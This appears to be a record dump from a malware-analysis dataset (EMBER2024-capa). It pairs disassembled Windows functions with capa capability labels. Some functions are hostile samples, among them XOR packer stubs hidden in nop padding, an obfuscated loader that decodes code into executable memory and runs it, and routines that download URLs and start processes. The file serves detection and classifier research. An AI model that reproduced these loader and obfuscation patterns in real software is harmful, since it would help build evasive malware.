joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5054eb3e
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x468
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x5055df98], esi
push edi
mov dword [esp + 0x10], esi
jne 0x5054ed0f
push 0x14
call sub.MSVCR70.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, esi
pop ecx
je 0x5054eb6f
mov ecx, eax
call fcn.5054e63e
jmp 0x5054eb71
xor eax, eax
mov dword [0x5055df98], eax
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov dword [esp + 0x14], esi
mov esi, 0x5055dfa0
push esi
call fcn.5054d90f
test eax, eax
je 0x5054ed0f
mov ebx, dword [sym.imp.MSVCR70.dll_wcscat]
push 0x505342dc
push esi
call ebx
push esi
mov edi, str.file:__
push edi
call ebx
add esp, 0x10
lea eax, [esp + 0x10]
push eax
mov eax, 0x50537848
push eax
push eax
mov ecx, 0x5055df50
call fcn.50538f90
test eax, eax
mov ebp, dword [sym.imp.MSVCR70.dll_swprintf]
jl 0x5054ec07
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x1c]
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x5054ec07
push dword [esp + 0x1c]
push esi
push 0x505342c4
push esi
call ebp
push dword [esp + 0x2c]
push edi
push 0x505342b8
push edi
call ebp
add esp, 0x20
mov dword [esp + 0x14], 1
jmp 0x5054ec11
push 0x505342ac
push esi
call ebx
pop ecx
pop ecx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x5054ec24
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
and dword [esp + 0x10], 0
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x5054ecc7
cmp dword [esp + 0x14], 0
je 0x5054ed0f
push 0x5053429c
push edi
call dword [sym.imp.MSVCR70.dll_wcscpy]
pop ecx
pop ecx
push esi
call fcn.5054d90f
push 0x505342dc
push esi
call ebx
push esi
push edi
call ebx
push 0x505342ac
push esi
call ebx
add esp, 0x18
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x5054ed0f
lea eax, [esp + 0x4c]
push eax
push edi
lea eax, [esp + 0x278]
push 0x50534290
push eax
call ebp
mov eax, dword [0x5055df98]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [esp + 0x270]
push edx
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.vsansi.dll_FindNextFileW]
test eax, eax
jne 0x5054ec8a
jmp 0x5054ed0f
lea eax, [esp + 0x4c]
push eax
push edi
lea eax, [esp + 0x278]
push 0x50534290
push eax
call ebp
mov eax, dword [0x5055df98]
mov ecx, dword [eax]
add esp, 0x10
lea edx, [esp + 0x270]
push edx
push eax
call dword [ecx + 0x20]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.vsansi.dll_FindNextFileW]
test eax, eax
jne 0x5054ecc7
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [0x5055df98]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x468
ret
Function at 0x5054fc76
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x5055df7c]
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0xc]
and dword [ebx], 0
mov ecx, dword [eax]
push edi
lea edx, [ebp - 4]
push edx
push 0x50537858
push 0x50537848
push eax
call dword [ecx + 0xc]
mov edi, eax
test edi, edi
jl 0x5054fcf7
movzx eax, word [ebp + 8]
push esi
push 5
push eax
push dword [ebp + 0x10]
mov edi, 0x80004005
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x5054fcf6
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x5054fcf6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 4]
push ebx
push eax
push esi
push dword [ebp + 0x10]
mov edi, ecx
mov ecx, dword [ecx]
mov dword [ebp + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov eax, dword [ebp + 0x10]
push edi
call dword [eax + 0x18]
mov edi, eax
pop esi
lea ecx, [ebp - 4]
call fcn.50556058
mov eax, edi
pop edi
pop ebx
leave
ret 0xc
Function at 0x50550abc
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 0x1c], ecx
xor ebx, ebx
push eax
mov ecx, 0x5055df50
mov dword [ebp - 8], ebx
call fcn.5053903c
push 0x50534428
lea ecx, [ebp - 8]
call fcn.50539017
lea eax, [ebp - 0x10]
push eax
push 0x20019
push ebx
push dword [ebp - 8]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.vsansi.dll_RegOpenKeyExW]
test eax, eax
je 0x50550b0f
mov ebx, 0x80004005
jmp 0x50550c09
push esi
push edi
mov dword [ebp - 0xc], ebx
mov esi, 0x100
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x50550bfe
lea eax, [ebp - 0x14]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x50550bf6
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x5053441c
push dword [ebp - 0x14]
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x50550bed
cmp dword [ebp - 0x18], 1
jne 0x50550bed
push esi
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.505507a2
push esi
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.505507a2
push 8
call sub.MSVCR70.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x50550bd2
lea ecx, [ebp - 0x41c]
push ecx
mov ecx, eax
call fcn.50550226
mov edi, eax
jmp 0x50550bd4
xor edi, edi
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebp - 0x1c]
push edi
mov dword [edi + 4], eax
call fcn.50550171
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0xc]
jmp 0x50550b19
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
push dword [ebp - 8]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, ebx
pop ebx
leave
ret
Function at 0x50551224
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [ebp + 0xc]
test eax, eax
push esi
push edi
je 0x505512f6
cmp word [eax], 0
je 0x505512f6
cmp dword [ebp + 0x10], 0
je 0x505512f6
push eax
lea ecx, [ebp + 0xc]
call fcn.5053c7a1
mov edi, dword [ebp + 0xc]
push 0x23
push edi
call dword [sym.imp.MSVCR70.dll_wcsrchr]
test eax, eax
pop ecx
pop ecx
je 0x5055126d
and word [eax], 0
call fcn.50559732
test eax, eax
je 0x5055128f
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.urlmon.dll_URLDownloadToCacheFileW
mov esi, eax
jmp 0x505512eb
test edi, edi
jne 0x50551297
xor eax, eax
jmp 0x505512bb
push edi
call dword [sym.imp.vsansi.dll_lstrlenW]
lea esi, [eax + eax + 2]
mov eax, esi
add eax, 3
and eax, 0xfffffffc
call fcn.5055a3f0
mov eax, esp
push 0
push esi
push edi
push eax
call fcn.5053ae8e
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x104]
push dword [ebp + 0x18]
push 0x104
push ecx
push eax
push dword [ebp + 8]
call sub.urlmon.dll_URLDownloadToCacheFileA
mov esi, eax
test esi, esi
jl 0x505512eb
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call fcn.505598ff
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, esi
jmp 0x505512fb
mov eax, 0x80070057
lea esp, [ebp - 0x10c]
pop edi
pop esi
leave
ret 0x18
Function at 0x505552c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push edi
xor edi, edi
push 0x5053492c
mov esi, ecx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, edi
mov dword [ebp - 8], eax
je 0x50555325
push ebx
push 0x50534920
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
cmp ebx, edi
je 0x50555316
push edi
push edi
push 1
push dword [esi + 8]
call ebx
push edi
push edi
push 5
push dword [esi + 8]
call ebx
push edi
push edi
push 6
push dword [esi + 8]
call ebx
mov dword [ebp - 4], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 4], edi
pop ebx
jne 0x50555397
lea eax, [ebp - 4]
push eax
push 1
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x5055537c
mov edx, dword [ebp - 4]
cmp edx, edi
je 0x5055537c
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x38], 0x50534908
call dword [sym.imp.vsansi.dll_ShellExecuteExW]
push dword [ebp - 4]
call fcn.5053c302
jmp 0x50555397
push edi
push 1
push edi
push edi
push 0xffffffffffffffff
push 0x5af
push 0x3f2
mov ecx, 0x5055df50
call fcn.5054feba
xor eax, eax
pop edi
inc eax
pop esi
leave
ret

Function at 0x50559c90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
lea eax, [ebp - 4]
push eax
push 1
xor ebx, ebx
push ebx
push 0x505389f8
push reloc.OLEAUT32.dll_SysReAllocString
xor esi, esi
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x50559d1b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x50538a14
push dword [ebp - 4]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0xfa
mov byte [ebp - 0x114], bl
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x50559d03
xor eax, eax
mov cl, byte [eax + 0x505389ec]
mov byte [ebp + eax - 0x114], cl
inc eax
cmp cl, bl
jne 0x50559cf1
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x5055a179
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push 0x50538c30
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x5055a1d1
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x50538c6c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x5055a1c4
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x5055a1d3
xor eax, eax
pop esi
leave
ret 4
Function at 0x5055a599
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push esi
mov esi, ecx
call fcn.5055a582
and byte [esi + 0xc], 0
mov eax, 0x50530000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x1c]
push 0
push eax
mov dword [esi], 0x3c
call sub.MSVCR70.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xc], 2
jne 0x5055a5f3
cmp dword [ebp - 0x18], 5
jb 0x5055a60b
jmp 0x5055a607
cmp dword [ebp - 0xc], 1
jne 0x5055a60b
cmp dword [ebp - 0x18], 4
ja 0x5055a607
jne 0x5055a60b
cmp dword [ebp - 0x14], 0
jbe 0x5055a60b
mov byte [esi + 0xc], 1
lea eax, [esi + 0x18]
push eax
mov dword [esi + 0x10], 0x700
mov dword [esi + 0x14], 0x5055c050
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
add ebp, 0x78
leave
ret
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x44432ed9
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x205c43c9
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401207
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
mov eax, dword [0x41a1e8]
xor edx, edx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [0x41a1ec]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0xc], edx
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x34], 0x9e3779b9
mov dword [ebp - 0x18], eax
call fcn.00401200
add dword [ebp - 0xc], 0x23f
cmp dword [0x870c64], 0x14
jne 0x401263
push edx
lea eax, [ebp - 0x454]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1f4]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov eax, esi
mov dword [ebp - 8], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x870c64], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x870c60]
cmove eax, dword [ebp - 8]
and dword [ebp - 8], 0
cmp dword [0x870c64], 0x3eb
mov dword [0x870c60], eax
mov eax, dword [0x870bb8]
cmove eax, dword [ebp - 8]
mov dword [0x870bb8], eax
mov eax, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
add dword [ebp - 0x10], edx
and dword [ebp - 8], 0
mov dword [0x870c5c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, eax
cmp dword [0x870c64], 0x213
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
jne 0x401359
lea eax, [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0xc]
shr edx, cl
add eax, ebx
mov ecx, dword [ebp - 4]
add edx, edi
xor ecx, eax
mov dword [ebp - 0x10], edx
cmp dword [0x870c64], 0xb03
mov dword [ebp - 4], ecx
jne 0x40139a
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
xor ecx, edx
sub esi, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
jne 0x40127f
mov edi, dword [ebp - 0x24]
mov dword [edi], esi
mov dword [edi + 4], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bab7
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419c10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00406d07
mov dword [ebp - 0x14], eax
cmp dword [0x457a28], esi
jne 0x40bbaa
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40bb37
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40bc8a
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40bc8a
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40bc8a
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x457a28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x457a2c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x457a30], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x457a38], eax
test eax, eax
je 0x40bba7
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x457a34], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40bbcf
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40bbc2
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40bbe4
push 4
pop eax
jmp 0x40bc8c
cmp dword [ebp - 0x14], esi
je 0x40bbe4
push dword [0x457a28]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40bbc9
mov eax, dword [0x457a34]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40bc42
cmp dword [0x457a38], edi
je 0x40bc42
push eax
call ebx
push dword [0x457a38]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40bc42
test eax, eax
je 0x40bc42
call ecx
test eax, eax
je 0x40bc37
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40bc37
test byte [ebp - 8], 1
jne 0x40bc42
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40bc72
mov eax, dword [0x457a2c]
cmp eax, edi
je 0x40bc6f
push eax
call ebx
test eax, eax
je 0x40bc6f
call eax
mov esi, eax
test esi, esi
je 0x40bc6f
mov eax, dword [0x457a30]
cmp eax, edi
je 0x40bc6f
push eax
call ebx
test eax, eax
je 0x40bc6f
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x457a28]
call ebx
test eax, eax
je 0x40bc8a
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40bc8c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004038fd
mov esp, ebp
pop ebp
ret
Function at 0x10010d9e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10010dad
pop dword [ebp - 0x40]
mov eax, 0x9b84892f
sub eax, 0x8b837b82
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x70d8dd79
sub dword [ebp - 0x50], 0x2286982e
mov dword [ebp - 0x4c], 0x1dcef40f
sub dword [ebp - 0x4c], 0xeb9ba7ca
mov dword [ebp - 0x48], 0xd996a4fe
sub dword [ebp - 0x48], 0x8d4a60d0
mov dword [ebp - 0x44], 0x989e3582
sub dword [ebp - 0x44], 0x989e3582
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x691d4dd1
sub dword [ebp - 0x50], 0xf4aae47b
mov dword [ebp - 0x4c], 0xf1f1b49d
add dword [ebp - 0x4c], 0x4f7aacd8
mov dword [ebp - 0x48], 0xed1c9431
add dword [ebp - 0x48], 0x7652d83b
mov dword [ebp - 0x44], 0xe4165650
sub dword [ebp - 0x44], 0xe4165650
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x2f2a5f9b
sub eax, 0x1f291f47
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a675
push 0
call eax
mov ecx, 0x2664048
add ecx, 0xfd9a0910
xor edx, edx
add edx, eax
mov esi, 0x11bc2b6e
add esi, 0xfe45b692
add esi, dword [ebp - 0x40]
mov ebx, 0x711bb917
sub ebx, 0x6dd0cfa9
xor dword [ebp - 0x3c], 0xee802ddb
mov edi, dword [esi]
add dword [ebp - 0x18], 0x7f520365
xor edi, ebx
sub dword [ebp - 0x10], 0x595f08a9
mov dword [edx], edi
mov dword [ebp - 0x2c], 0x9290d770
add edx, 4
add esi, 0x46d7435b
sub esi, 0x46d74357
loop 0x10010ecc
add eax, 0x11833
xor ebx, ebx
add ebx, eax
add eax, 0x8281518f
sub eax, 0x8281518a
mov ecx, 0x91cd5505
add ecx, 0x7e32aafb
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4062e5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40b508
cmp edx, dword [eax]
je 0x406307
add eax, 8
inc ecx
cmp eax, 0x40b598
jl 0x4062f8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40b508]
jne 0x406435
mov eax, dword [0x40ba54]
cmp eax, 1
je 0x40640f
test eax, eax
jne 0x406338
cmp dword [0x40b1b4], 1
je 0x40640f
cmp edx, 0xfc
je 0x406435
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40636f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004037b0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004038a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4063b2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004038a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40957c
push edi
call fcn.004077b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004037b0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004037c0
lea eax, [ebp - 0xa0]
push 0x40955c
push eax
call fcn.004037c0
push dword [esi + 0x40b50c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004037c0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407726
add esp, 0x2c
pop edi
jmp 0x406435
lea eax, [ebp + 8]
lea esi, [esi + 0x40b50c]
push 0
push eax
push dword [esi]
call fcn.004038a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x76cc56a2
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x794c6af0
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219